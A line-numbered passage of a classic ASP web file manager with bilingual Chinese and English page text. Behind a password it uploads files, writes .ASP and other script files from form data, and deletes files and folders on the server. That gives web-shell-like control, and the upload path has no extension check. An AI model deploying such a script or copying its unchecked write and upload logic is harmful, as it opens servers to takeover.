'get password
658:
659:
If NOT Authorize Then
660:
'function will output HTML for password
661:
Else
662:
'initialization
663:
664:
Set fso = CreateObject("Scripting.FileSystemObject")
665:
666:
'dynamically find out where the documents and web pages are located
667:
668:
fsDir = LCase(Request.QueryString("d"))
669:
If fsDir = "" Then fsDir = Request.Form("fsDir")
670:
fsRoot = LCase(Replace(Server.MapPath(gblScriptName),"\" & gblScriptName,"") & "\")
671:
If Instr(fsdir,fsroot) <> 1 Then fsDir = fsRoot
672:
If Lcase(fsDir) = Lcase(fsRoot) Then toplevel = TRUE
673:
basedir = Replace(Mid(fsDir,len(fsRoot),250),"\","/")
674:
webRoot = "http://" & Request.ServerVariables("SERVER_NAME") & Replace(Request.ServerVariables("SCRIPT_NAME"),"/" & gblScriptName,"")
675:
webbase = replace(webroot & basedir," ","%20")
676:
677:
'process a GET/POST request
678:
679:
If Request.QueryString("u") = "D" Then
680:
Action = "UPLOAD"
681:
Else
682:
Action = Request.Form("POSTACTION")
683:
pathname = Request.Form("PATHNAME")
684:
End If
685:
Select Case UCase(Action)
686:
Case "UPLOAD"
687:
Set upl = Server.CreateObject("SoftArtisans.FileUp")
688:
tstr = Mid(upl.UserFilename, InstrRev(upl.UserFilename, "\") + 1)
689:
If tstr = "" Then
690:
Else
691:
upl.SaveAs fsdir & tstr
692:
End If
693:
Case "SAVE"
694:
Select Case UCase(Right(pathname,4))
695:
Case ".TXT",".ASA",".ASP",".HTM","HTML",".CFM","PHP3"
696:
If Instr(pathname,fsroot) = 1 Then
697:
Set f = fso.CreateTextFile(pathname)
698:
f.write Request.Form("FILEDATA")
699:
f.close
700:
End If
701:
End Select
702:
Case "DELETE" 'either document or folder
703:
If Request.Form("OK") = "on" Then
704:
parent = Request.Form("Parent")
705:
If Instr(pathname,fsroot) = 1 Then
706:
fso.DeleteFolder Left(pathname,Len(pathname)-1),TRUE
707:
response.redirect gblScriptName & "?d=" & URLSpace(parent)
708:
End If
709:
End If
710:
If Request.Form("DELETEOK") = "on" Then
711:
If Instr(pathname,fsroot) = 1 Then
712:
If fso.FileExists(Request.Form("PathName")) Then
713:
Set f = fso.GetFile(Request.Form("PathName"))
714:
f.delete
715:
End If
716:
End If
717:
End If
718:
End Select
719:
If Action <> "" Then
720:
tstr = gblScriptName & "?d="
721:
If NOT toplevel Then tstr = tstr & URLSpace(fsDir)
722:
response.redirect tstr
723:
End If
724:
725:
'check for mode... navigate, code display, upload, or detail?
726:
727:
fn = LCase(Request.QueryString("f"))
728:
If fn = "" Then
729:
If Request.QueryString("u") = "Y" Then
730:
gblTitle = gblTitle & " (Upload Page)"
731:
gblPageText = "用此页面上传某个文件在此网址上。Use this page to upload a single document to this web site."
732:
UploadPage
733:
Else
734:
If Request.QueryString("c") = "" Then
735:
gblPageText = "用此页面增加，删除或者更新某个文件在此网址上。Use this page to add, delete or revise documents on this web site."
736:
StartHTML
737:
Navigate
738:
EndHTML
739:
Else
740:
DisplayCode
741:
End If
742:
End If
743:
Else
744:
gblTitle = gblTitle & " (Detail Page)"
745:
gblPageText = "用此页面显示，修改或者删除某个文件在此网址上。Use this page to view, modify or delete a single document on this web site."
746:
DetailPage
747:
End If
748:
End If
749:
%
>